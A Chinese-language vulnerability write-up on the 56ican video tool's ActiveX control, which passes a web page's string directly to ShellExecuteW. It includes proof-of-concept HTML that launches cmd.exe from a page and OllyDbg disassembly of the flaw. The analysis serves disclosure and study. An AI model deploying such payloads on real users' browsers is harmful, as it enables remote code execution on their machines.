解密56ican远程执行任意程序漏洞
图/文 爱无言
56ican是由56网站开发的一款便于用户上传、 下载视频文件的工具软件,测试发现该软件在安全方面存在诸多问题,这里我们对该软件的最新版本1.3.0进行了同样的测试,发现问题依旧存在。其中,最新版本的56ican其使用界面如图1所示。
图1
当我们在系统中安装了56ican后,该软件向系统注册了多个ActiveX控件,这其中有一个名为“IESuport.dll”的文件,它注册的ActiveX控件类名为“IESuportLib”。该控件类只有一个外部接口函数,名为“CallICan”,其函数原形如下。
Sub CallICan ( ByRef url As String )
从参数名称来看,“url”代表网址,而函数名称看起来似乎又类似一个调用性质的函数。在无法推断该函数的作用时,我们写一个测试网页来看一看效果,测试代码如下。
<object classid="clsid:7B001844-0E6A-429A-B014-3BCE8765C470" name="evil" ></object> <script> evil.CallICan("http://www.baidu.com"); </script>
当我们将这个网页放置在测试用的Web服务器上,用IE浏览器访问时,IE浏览器会给出一个安全提示,如图2所示。
图2
当用鼠标单击IE浏览器给出的安全提示,选择允许浏览器加载该控件后,我们发现浏览器在试图访问百度的网站,如图3所示。
图3
这令我们很好奇,一般来说像打开网址这样的行为,从编程角度来看,就是调用了一个带有执行命令性质的函数,诸如ShellExecuteW。如果真的是这样,那么,就意味着56ican的ActiveX控件存在着很严重的安全漏洞,我们可以借助“CallICan”来运行任意程序。现在,我们就写一个测试网页来看看效果,代码如下。
<object classid="clsid:7B001844-0E6A-429A-B014-3BCE8765C470" name="evil" ></object> <script> evil.CallICan("cmd.exe"); </script>
将这个测试网页上传到Web服务器上,再次用IE浏览器访问该测试网页,效果如图4所示。
图4
看到这样的画面实在令人吃惊,我们完全可以借助56ican来实现在用户的系统上远程运行任意程序。但是,这个结果到底是什么原因造成的呢?
借助OllyDbg,我们找到了原因,如图5所示。
图5
56ican的“IESuport.dll”文件果然调用了ShellExecuteW函数。这个函数是一个非安全函数,尤其是在ActiveX控件中使用它时。
通过在OllyDbg中回溯跟踪,我们发现了问题所在,如下所示。
018C3E46 6A 05 push 5 018C3E48 6A 00 push 0 018C3E4A 6A 00 push 0 018C3E4C 51 push ecx 018C3E4D 68 A8768C01 push 18C76A8 ;UNICODE"open" 018C3E52 6A 00 push 0 018C3E54 FF15 54718C01 call dword ptr ds:[18C7154] ;SHELL32.ShellExecuteW 018C3E5A 33C0 xor eax,eax 018C3E5C C2 0800 retn 8
原来56ican的“CallICan”接口直接调用了ShellExecuteW函数,其ecx寄存器指向的内容就是我们在网页中传递给“CallICan”接口的参数。使用VC代码进行书写类似如下。
ShellExecuteW(NULL,“open”,ecx,0,0,MB_SHOW)。
现在,明白了上面的原理,漏洞的利用代码就可以结合实际情况来进行编写了。
最后,该漏洞对于过去版本的56ican都存在,本文旨在讨论该漏洞形成的原因,请不要使用该漏洞进行任何违法活动,否则作者与杂志概不负责。